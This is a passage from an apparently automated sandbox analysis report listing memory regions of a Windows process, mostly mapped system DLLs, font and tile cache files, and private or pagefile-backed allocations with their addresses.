"private_0x00000000092a0000" filename = "" Region: id = 5372 start_va = 0x7ff64047c000 end_va = 0x7ff64047dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64047c000" filename = "" Region: id = 5373 start_va = 0x7ffd15db0000 end_va = 0x7ffd15e18fff entry_point = 0x7ffd15db0000 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 5374 start_va = 0x9320000 end_va = 0x939ffff entry_point = 0x0 region_type = private name = "private_0x0000000009320000" filename = "" Region: id = 5375 start_va = 0x7ff64047a000 end_va = 0x7ff64047bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64047a000" filename = "" Region: id = 5376 start_va = 0x93a0000 end_va = 0x93a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000093a0000" filename = "" Region: id = 5377 start_va = 0x93b0000 end_va = 0x942ffff entry_point = 0x0 region_type = private name = "private_0x00000000093b0000" filename = "" Region: id = 5378 start_va = 0x7ff640478000 end_va = 0x7ff640479fff entry_point = 0x0 region_type = private name = "private_0x00007ff640478000" filename = "" Region: id = 5379 start_va = 0x7ffd18d10000 end_va = 0x7ffd18d26fff entry_point = 0x7ffd18d11030 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 5380 start_va = 0x9430000 end_va = 0x94d4fff entry_point = 0x9430000 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-system.dat") Region: id = 5384 start_va = 0x94e0000 end_va = 0xa4dffff entry_point = 0x94e0000 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-fontface.dat") Region: id = 5386 start_va = 0xa4e0000 end_va = 0xacdffff entry_point = 0xa4e0000 region_type = mapped_file name = "~fontcache-s-1-5-21-3643094112-4209292109-138530109-1001.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\~FontCache-S-1-5-21-3643094112-4209292109-138530109-1001.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\~fontcache-s-1-5-21-3643094112-4209292109-138530109-1001.dat") Region: id = 5387 start_va = 0xace0000 end_va = 0xad95fff entry_point = 0xace0000 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\segoeuisl.ttf" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 5388 start_va = 0x92a0000 end_va = 0x92a1fff entry_point = 0x0 region_type = private name = "private_0x00000000092a0000" filename = "" Region: id = 5389 start_va = 0x92b0000 end_va = 0x92b0fff entry_point = 0x0 region_type = private name = "private_0x00000000092b0000" filename = "" Region: id = 5390 start_va = 0xada0000 end_va = 0xae6dfff entry_point = 0xada0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 5391 start_va = 0x92b0000 end_va = 0x92b0fff entry_point = 0x0 region_type = private name = "private_0x00000000092b0000" filename = "" Region: id = 5392 start_va = 0xae70000 end_va = 0xb022fff entry_point = 0xae70000 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 5393 start_va = 0xb030000 end_va = 0xb0affff entry_point = 0x0 region_type = private name = "private_0x000000000b030000" filename = "" Region: id = 5394 start_va = 0x7ff64047c000 end_va = 0x7ff64047dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64047c000" filename = "" Region: id = 5395 start_va = 0x92c0000 end_va = 0x92c0fff entry_point = 0x0 region_type = private name = "private_0x00000000092c0000" filename = "" Region: id = 5396 start_va = 0x7ffd15d80000 end_va = 0x7ffd15da9fff entry_point = 0x7ffd15d80000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 5398 start_va = 0x92d0000 end_va = 0x92d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000092d0000" filename = "" Region: id = 5399 start_va = 0xb0b0000 end_va = 0xb133fff entry_point = 0xb0b0000 region_type = mapped_file name = "tilecachelogo-678296_100.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\TileCacheLogo-678296_100.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\tilecachelogo-678296_100.dat") Region: id = 5400 start_va = 0x92e0000 end_va = 0x92e0fff entry_point = 0x0 region_type = private name = "private_0x00000000092e0000" filename = "" Region: id = 5401 start_va = 0x92f0000 end_va = 0x92f0fff entry_point = 0x0 region_type = private name = "private_0x00000000092f0000" filename = "" Region: id = 5402 start_va = 0xb140000 end_va = 0xb1bffff entry_point = 0x0 region_type = private name = "private_0x000000000b140000" filename = "" Region: id = 5403 start_va = 0xb1c0000 end_va = 0xb285fff entry_point = 0xb1c0000 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 5404 start_va = 0x7ff640476000 end_va = 0x7ff640477fff entry_point = 0x0 region_type = private name = "private_0x00007ff640476000" filename = "" Region: id = 5405 start_va = 0x9300000 end_va = 0x9300fff entry_point = 0x0 region_type = private name = "private_0x0000000009300000" filename = "" Region: id = 5406 start_va = 0xb290000 end_va = 0xb30ffff entry_point = 0x0 region_type = private name = "private_0x000000000b290000" filename = "" Region: id = 5407 start_va = 0x7ff640474000 end_va = 0x7ff640475fff entry_point = 0x0 region_type = private name = "private_0x00007ff640474000" filename = "" Region: id = 5408 start_va = 0xb310000 end_va = 0xb38ffff entry_point = 0x0 region_type = private name = "private_0x000000000b310000" filename = "" Region: id = 5409 start_va = 0xb390000 end_va = 0xb40ffff entry_point = 0x0 region_type = private name = "private_0x000000000b390000" filename = "" Region: id = 5410 start_va = 0x7ff640470000 end_va = 0x7ff640471fff entry_point = 0x0 region_type = private name = "private_0x00007ff640470000" filename = "" Region: id = 5411 start_va = 0x7ff640472000 end_va = 0x7ff640473fff entry_point = 0x0 region_type = private name = "private_0x00007ff640472000" filename = "" Region: id = 5412 start_va = 0x7ffd15cf0000 end_va = 0x7ffd15d7dfff entry_point = 0x7ffd15cf0000 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 5413 start_va = 0xb410000 end_va = 0xb4a9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b410000" filename = "" Region: id = 5414 start_va = 0x9300000 end_va = 0x930efff entry_point = 0x0 region_type = private name = "private_0x0000000009300000" filename = "" Region: id = 5415 start_va = 0x9310000 end_va = 0x931ffff entry_point = 0x0 region_type = private name = "private_0x0000000009310000" filename = "" Region: id = 5416 start_va = 0xb4b0000 end_va = 0xb4bffff entry_point = 0x0 region_type = private name = "private_0x000000000b4b0000" filename = "" Region: id = 5417 start_va = 0xb4c0000 end_va = 0xb4cffff entry_point = 0x0 region_type = private name = "private_0x000000000b4c0000" filename = "" Region: id = 5418 start_va = 0xb4d0000 end_va = 0xb4d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b4d0000" filename = "" Region: id = 5419 start_va = 0xb4e0000 end_va = 0xb4e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b4e0000" filename = "" Region: id = 5420 start_va = 0xb4f0000 end_va = 0xb56ffff entry_point = 0x0 region_type = private name = "private_0x000000000b4f0000" filename = "" Region: id = 5421 start_va = 0x7ff64046e000 end_va = 0x7ff64046ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64046e000" filename = "" Region: id = 5422 start_va = 0xb570000 end_va = 0xb57ffff entry_point = 0x0 region_type = private name = "private_0x000000000b570000" filename = "" Region: id = 5423 start_va = 0xb580000 end_va = 0xb58ffff entry_point = 0x0 region_type = private name = "private_0x000000000b580000" filename = "" Region: id = 5424 start_va = 0x7ff640450000 end_va = 0x7ff64045ffff entry_point = 0x0 region_type = private name = "private_0x00007ff640450000" filename = "" Region: id = 5425 start_va = 0xb570000 end_va = 0xb57ffff entry_point = 0x0 region_type = private name = "private_0x000000000b570000" filename = "" Region: id = 5426 start_va = 0xb580000 end_va = 0xb58ffff entry_point = 0x0 region_type = private name = "private_0x000000000b580000" filename = "" Region: id = 5427 start_va = 0xb570000 end_va = 0xb57ffff entry_point = 0x0 region_type = private name = "private_0x000000000b570000" filename = "" Region: id = 5428 start_va = 0xb580000 end_va = 0xb58ffff entry_point = 0x0 region_type = private name = "private_0x000000000b580000" filename = "" Region: id = 5429 start_va = 0xb570000 end_va = 0xb96ffff entry_point = 0x0 region_type = private name = "private_0x000000000b570000" filename = "" Region: id = 5432 start_va = 0x7ffd18e80000 end_va = 0x7ffd18ebbfff entry_point = 0x7ffd18e81068 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 5435 start_va = 0xb970000 end_va = 0xbeb8fff entry_point = 0xb970000 region_type = mapped_file name = "tilecachetickle-67281_80.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\TileCacheTickle-67281_80.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\tilecachetickle-67281_80.dat") Region: id = 5436 start_va = 0xb4f0000 end_va = 0xb4f0fff entry_point = 0x0 region_type = private name = "private_0x000000000b4f0000" filename = "" Region: id = 5437 start_va = 0xb500000 end_va = 0xb502fff entry_point = 0x0 region_type = private name = "private_0x000000000b500000" filename = "" Region: id = 5438 start_va = 0xb510000 end_va = 0xb510fff entry_point = 0x0 region_type = private name = "private_0x000000000b510000" filename = "" Region: id = 5439 start_va = 0xbec0000 end_va = 0xc28bfff entry_point = 0xbec0000 region_type = mapped_file name = "tilecachestartview-633484_80.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\TileCacheStartView-633484_80.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\tilecachestartview-633484_80.dat") Region: id = 5440 start_va = 0xb520000 end_va = 0xb520fff entry_point = 0x0 region_type = private name = "private_0x000000000b520000" filename = "" Region: id = 5441 start_va = 0xb530000 end_va = 0xb532fff entry_point = 0x0 region_type = private name = "private_0x000000000b530000" filename = "" Region: id = 5442 start_va = 0xb540000 end_va = 0xb540fff entry_point = 0x0 region_type = private name = "private_0x000000000b540000" filename = "" Region: id = 5443 start_va = 0xc290000 end_va = 0xc641fff entry_point = 0xc290000 region_type = mapped_file name = "tilecachedefault-73296_80.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\TileCacheDefault-73296_80.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\tilecachedefault-73296_80.dat") Region: id = 5444 start_va = 0xc650000 end_va = 0xc755fff entry_point = 0x0 region_type = private name = "private_0x000000000c650000" filename = "" Region: id = 5445 start_va = 0xb550000 end_va = 0xb553fff entry_point = 0x0 region_type = private name = "private_0x000000000b550000" filename = "" Region: id = 5446 start_va = 0xc650000 end_va = 0xc8b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c650000" filename = "" Region: id = 5447 start_va = 0xc8c0000 end_va = 0xc8fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c8c0000" filename = "" Region: id = 5448 start_va = 0x9300000 end_va = 0x930ffff entry_point = 0x0 region_type = private name = "private_0x0000000009300000" filename = "" Region: id = 5449 start_va = 0xc900000 end_va = 0xc93ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c900000" filename = "" Region: id = 5450 start_va = 0xb560000 end_va = 0xb56ffff entry_point = 0x0 region_type = private name = "private_0x000000000b560000" filename = "" Region: id = 5451 start_va = 0xc940000 end_va = 0xc94ffff entry_point = 0x0 region_type = private name = "private_0x000000000c940000" filename = "" Region: id = 5452 start_va = 0xc940000 end_va = 0xc9bffff entry_point = 0x0 region_type = private name = "private_0x000000000c940000" filename = "" Region: id = 5453 start_va = 0xc9c0000 end_va = 0xca3ffff entry_point = 0x0 region_type = private name = "private_0x000000000c9c0000" filename = "" Region: id = 5454 start_va = 0x7ff64046c000 end_va = 0x7ff64046dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046c000" filename = "" Region: id = 5455 start_va = 0x7ff64046e000 end_va = 0x7ff64046ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64046e000" filename = "" Region: id = 5456 start_va = 0x7ffd15a90000 end_va = 0x7ffd15c80fff entry_point = 0x7ffd15a90000 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 5457 start_va = 0x7ffd15c90000 end_va = 0x7ffd15ce0fff entry_point = 0x7ffd15c90000 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 5458 start_va = 0xb560000 end_va = 0xb560fff entry_point = 0x0 region_type = private name = "private_0x000000000b560000" filename = "" Region: id = 5459 start_va = 0xca40000 end_va = 0xcabffff entry_point = 0x0 region_type = private name = "private_0x000000000ca40000" filename = "" Region: id = 5460 start_va = 0xcac0000 end_va = 0xcb3ffff entry_point = 0x0 region_type = private name = "private_0x000000000cac0000" filename = "" Region: id = 5461 start_va = 0x7ff640468000 end_va = 0x7ff640469fff entry_point = 0x0 region_type = private name = "private_0x00007ff640468000" filename = "" Region: id = 5462 start_va = 0x7ff64046a000 end_va = 0x7ff64046bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64046a000" filename = "" Region: id = 5463 start_va = 0xcb40000 end_va = 0xcbbffff entry_point = 0x0 region_type = private name = "private_0x000000000cb40000" filename = "" Region: id = 5464 start_va = 0x7ff640466000 end_va = 0x7ff640467fff entry_point = 0x0 region_type = private name = "private_0x00007ff640466000" filename = "" Region: id = 5465 start_va = 0xb560000 end_va = 0xb562fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b560000" filename = "" Region: id = 5468 start_va = 0xcbc0000 end_va = 0xcbc0fff entry_point = 0x0 region_type = private name = "private_0x000000000cbc0000" filename = "" Region: id = 5469 start_va = 0xcbd0000 end_va = 0xcc0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cbd0000" filename = "" Region: id = 5470 start_va = 0xcc10000 end_va = 0xcc4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cc10000" filename = "" Region: id = 5471 start_va = 0xcc50000 end_va = 0xcc53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cc50000" filename = "" Region: id = 5472 start_va = 0xcc60000 end_va = 0xcc60fff entry_point = 0x0 region_type = private name = "private_0x000000000cc60000" filename = "" Region: id = 5474 start_va = 0x7ffd19300000 end_va = 0x7ffd19377fff entry_point = 0x7ffd19301420 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 5475 start_va = 0x7ffd15a10000 end_va = 0x7ffd15a84fff entry_point = 0x7ffd15a10000 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 5477 start_va = 0xcc60000 end_va = 0xcc61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000cc60000" filename = "" Region: id = 5478 start_va = 0x7ffd15990000 end_va = 0x7ffd15a0afff entry_point = 0x7ffd15990000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 5479 start_va = 0xcc70000 end_va = 0xcceffff entry_point = 0x0 region_type = private name = "private_0x000000000cc70000" filename = "" Region: id = 5480 start_va = 0x7ff640464000 end_va = 0x7ff640465fff entry_point = 0x0 region_type = private name = "private_0x00007ff640464000" filename = "" Region: id = 5483 start_va = 0xccf0000 end_va = 0xcd6ffff entry_point = 0x0 region_type = private name = "private_0x000000000ccf0000" filename = "" Region: id = 5484 start_va = 0x7ff640462000 end_va = 0x7ff640463fff entry_point = 0x0 region_type = private name = "private_0x00007ff640462000" filename = "" Region: id = 5485 start_va = 0x7ffd1cba0000 end_va = 0x7ffd1cc36fff entry_point = 0x7ffd1cba18bc region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 5486 start_va = 0xcd70000 end_va = 0xcdeffff entry_point = 0x0 region_type = private name = "private_0x000000000cd70000" filename = "" Region: id = 5487 start_va = 0xcdf0000 end_va = 0xce6ffff entry_point = 0x0 region_type = private name = "private_0x000000000cdf0000" filename = "" Region: id = 5488 start_va = 0xce70000 end_va = 0xceeffff entry_point = 0x0 region_type = private name = "private_0x000000000ce70000" filename = "" Region: id = 5489 start_va = 0x7ff64044c000 end_va = 0x7ff64044dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64044c000" filename = "" Region: id = 5490 start_va = 0x7ff64044e000 end_va = 0x7ff64044ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64044e000" filename = "" Region: id = 5491 start_va = 0x7ff640460000 end_va = 0x7ff640461fff entry_point = 0x0 region_type = private name = "private_0x00007ff640460000" filename = "" Region: id = 5492 start_va = 0xcef0000 end_va = 0xcef0fff entry_point = 0x0 region_type = private name = "private_0x000000000cef0000" filename = "" Region: id = 5493 start_va = 0xcef0000 end_va = 0xcf6ffff entry_point = 0x0 region_type = private name = "private_0x000000000cef0000" filename = "" Region: id = 5494 start_va = 0xcf70000 end_va = 0xcf7dfff entry_point = 0xcf70000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 5495 start_va = 0xcf80000 end_va = 0xcfa7fff entry_point = 0x0 region_type = private name = "private_0x000000000cf80000" filename = "" Region: id = 5496 start_va = 0xcfb0000 end_va = 0xd697fff entry_point = 0xcfb0000 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 5497 start_va = 0x7ff64044a000 end_va = 0x7ff64044bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64044a000" filename = "" Region: id = 5498 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5499 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5500 start_va = 0x7ffd15980000 end_va = 0x7ffd1598afff entry_point = 0x7ffd15980000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5501 start_va = 0xcf70000 end_va = 0xcf70fff entry_point = 0xcf70000 region_type = mapped_file name = "counters.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 5515 start_va = 0xd6a0000 end_va = 0xd71ffff entry_point = 0x0 region_type = private name = "private_0x000000000d6a0000" filename = "" Region: id = 5516 start_va = 0xd720000 end_va = 0xd79ffff entry_point = 0x0 region_type = private name = "private_0x000000000d720000" filename = "" Region: id = 5517 start_va = 0x7ff640446000 end_va = 0x7ff640447fff entry_point = 0x0 region_type = private name = "private_0x00007ff640446000" filename = "" Region: id = 5518 start_va = 0x7ff640448000 end_va = 0x7ff640449fff entry_point = 0x0 region_type = private name = "private_0x00007ff640448000" filename = "" Region: id = 5519 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 5535 start_va = 0xd7a0000 end_va = 0xd81ffff entry_point = 0x0 region_type = private name = "private_0x000000000d7a0000" filename = "" Region: id = 5536 start_va = 0x7ff640444000 end_va = 0x7ff640445fff entry_point = 0x0 region_type = private name = "private_0x00007ff640444000" filename = "" Region: id = 5594 start_va = 0xd820000 end_va = 0xd89ffff entry_point = 0x0 region_type = private name = "private_0x000000000d820000" filename = "" Region: id = 5595 start_va = 0xd8a0000 end_va = 0xd91ffff entry_point = 0x0 region_type = private name = "private_0x000000000d8a0000" filename = "" Region: id = 5596 start_va = 0xd920000 end_va = 0xd99ffff entry_point = 0x0 region_type = private name = "private_0x000000000d920000" filename = "" Region: id = 5597 start_va = 0xd9a0000 end_va = 0xd9a0fff entry_point = 0x0 region_type = private name = "private_0x000000000d9a0000" filename = "" Region: id = 5598 start_va = 0x7ff64043e000 end_va = 0x7ff64043ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64043e000" filename = "" Region: id = 5599 start_va = 0x7ff640440000 end_va = 0x7ff640441fff entry_point = 0x0 region_type = private name = "private_0x00007ff640440000" filename = "" Region: id = 5600 start_va = 0x7ff640442000 end_va = 0x7ff640443fff entry_point = 0x0 region_type = private name = "private_0x00007ff640442000" filename = "" Region: id = 5601 start_va = 0xd9b0000 end_va = 0xd9b0fff entry_point = 0x0 region_type = private name = "private_0x000000000d9b0000" filename = "" Region: id = 5602 start_va = 0xd9c0000 end_va = 0xd9dffff entry_point = 0xd9c0000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 5603 start_va = 0xd9c0000 end_va = 0xe2e2fff entry_point = 0xd9c0000 region_type = mapped_file name = "mmres.dll" filename = "\\Windows\\System32\\mmres.dll" (normalized: "c:\\windows\\system32\\mmres.dll") Region: id = 5604 start_va = 0xe2f0000 end_va = 0xe2f1fff entry_point = 0xe2f0000 region_type = mapped_file name = "mmres.dll.mui" filename = "\\Windows\\System32\\en-US\\mmres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmres.dll.mui") Region: id = 5605 start_va = 0x7ffd15900000 end_va = 0x7ffd15975fff entry_point = 0x7ffd15900000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 5621 start_va = 0xd9c0000 end_va = 0xd9c0fff entry_point = 0x0 region_type = private name = "private_0x000000000d9c0000" filename = "" Region: id = 5639 start_va = 0xd9c0000 end_va = 0xda3ffff entry_point = 0x0 region_type = private name = "private_0x000000000d9c0000" filename = "" Region: id = 5640 start_va = 0xda40000 end_va = 0xda40fff entry_point = 0x0 region_type = private name = "private_0x000000000da40000" filename = "" Region: id = 5641 start_va = 0x7ff64043c000 end_va = 0x7ff64043dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64043c000" filename = "" Region: id = 5642 start_va = 0x7ffd15830000 end_va = 0x7ffd1589efff entry_point = 0x7ffd15830000 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 5643 start_va = 0x7ffd1d8e0000 end_va = 0x7ffd1da77fff entry_point = 0x7ffd1d8e0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\System32\\GdiPlus.dll" (normalized: "c:\\windows\\system32\\gdiplus.dll") Region: id = 5644 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db40000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5645 start_va = 0x7ffd157f0000 end_va = 0x7ffd1582afff entry_point = 0x7ffd157f0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 5646 start_va = 0x7ffd15690000 end_va = 0x7ffd157eefff entry_point = 0x7ffd15690000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 5647 start_va = 0x7ffd15670000 end_va = 0x7ffd15686fff entry_point = 0x7ffd15670000 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 5648 start_va = 0xda40000 end_va = 0xda40fff entry_point = 0x0 region_type = private name = "private_0x000000000da40000" filename = "" Region: id = 5649 start_va = 0xda40000 end_va = 0xda40fff entry_point = 0x0 region_type = private name = "private_0x000000000da40000" filename = "" Region: id = 5658 start_va = 0xda40000 end_va = 0xdabffff entry_point = 0x0 region_type = private name = "private_0x000000000da40000" filename = "" Region: id = 5659 start_va = 0xdac0000 end_va = 0xdac0fff entry_point = 0xdac0000 region_type = mapped_file name = "s-1-5-21-3643094112-4209292109-138530109-1001.pckgdep" filename = "\\Windows\\WinStore\\microsoft.system.package.metadata\\S-1-5-21-3643094112-4209292109-138530109-1001.pckgdep" (normalized: "c:\\windows\\winstore\\microsoft.system.package.metadata\\s-1-5-21-3643094112-4209292109-138530109-1001.pckgdep") Region: id = 5660 start_va = 0x7ff64043a000 end_va = 0x7ff64043bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64043a000" filename = "" Region: id = 5661 start_va = 0xdac0000 end_va = 0xdac0fff entry_point = 0xdac0000 region_type = mapped_file name = "microsoft.windows.parentalcontrols.lnk" filename = "\\Windows\\ToastData\\Microsoft.Windows.ParentalControls.lnk" (normalized: "c:\\windows\\toastdata\\microsoft.windows.parentalcontrols.lnk") Region: id = 5662 start_va = 0xdad0000 end_va = 0xdad0fff entry_point = 0x0 region_type = private name = "private_0x000000000dad0000" filename = "" Region: id = 5663 start_va = 0xdac0000 end_va = 0xdac0fff entry_point = 0x0 region_type = private name = "private_0x000000000dac0000" filename = "" Region: id = 5664 start_va = 0xdac0000 end_va = 0xdac0fff entry_point = 0xdac0000 region_type = mapped_file name = "img5.png" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Packages\\winstore_cw5n1h2txyewy\\LocalState\\LiveTile\\Img5.png" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\packages\\winstore_cw5n1h2txyewy\\localstate\\livetile\\img5.png") Region: id = 5665 start_va = 0xdac0000 end_va = 0xdac0fff entry_point = 0xdac0000 region_type = mapped_file name = "windows.systemtoast.rastoastnotifier.lnk" filename = "\\Windows\\ToastData\\Windows.SystemToast.RasToastNotifier.lnk" (normalized: "c:\\windows\\toastdata\\windows.systemtoast.rastoastnotifier.lnk") Region: id = 5729 start_va = 0xdac0000 end_va = 0xdb3ffff entry_point = 0x0 region_type = private name = "private_0x000000000dac0000" filename = "" Region: id = 5730 start_va = 0x7ff640438000 end_va = 0x7ff640439fff entry_point = 0x0 region_type = private name = "private_0x00007ff640438000" filename = "" Region: id = 5813 start_va = 0xdb40000 end_va = 0xdbbffff entry_point = 0x0 region_type = private name = "private_0x000000000db40000" filename = "" Region: id = 5814 start_va = 0x7ff640436000 end_va = 0x7ff640437fff entry_point = 0x0 region_type = private name = "private_0x00007ff640436000" filename = "" Region: id = 5815 start_va = 0x7ffd18ee0000 end_va = 0x7ffd18f0ffff entry_point = 0x7ffd18ee131c region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 5837 start_va = 0x7ffd152a0000 end_va = 0x7ffd152bcfff entry_point = 0x7ffd152a0000 region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 5841 start_va = 0xdbc0000 end_va = 0xdbc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dbc0000" filename = "" Region: id = 5842 start_va = 0xdbd0000 end_va = 0xdc4ffff entry_point = 0x0 region_type = private name = "private_0x000000000dbd0000" filename = "" Region: id = 5843 start_va = 0xdc50000 end_va = 0xdc50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dc50000" filename = "" Region: id = 5844 start_va = 0xdc60000 end_va = 0xdc60fff entry_point = 0xdc60000 region_type = mapped_file name = "img5.png" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Packages\\winstore_cw5n1h2txyewy\\LocalState\\LiveTile\\Img5.png" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\packages\\winstore_cw5n1h2txyewy\\localstate\\livetile\\img5.png") Region: id = 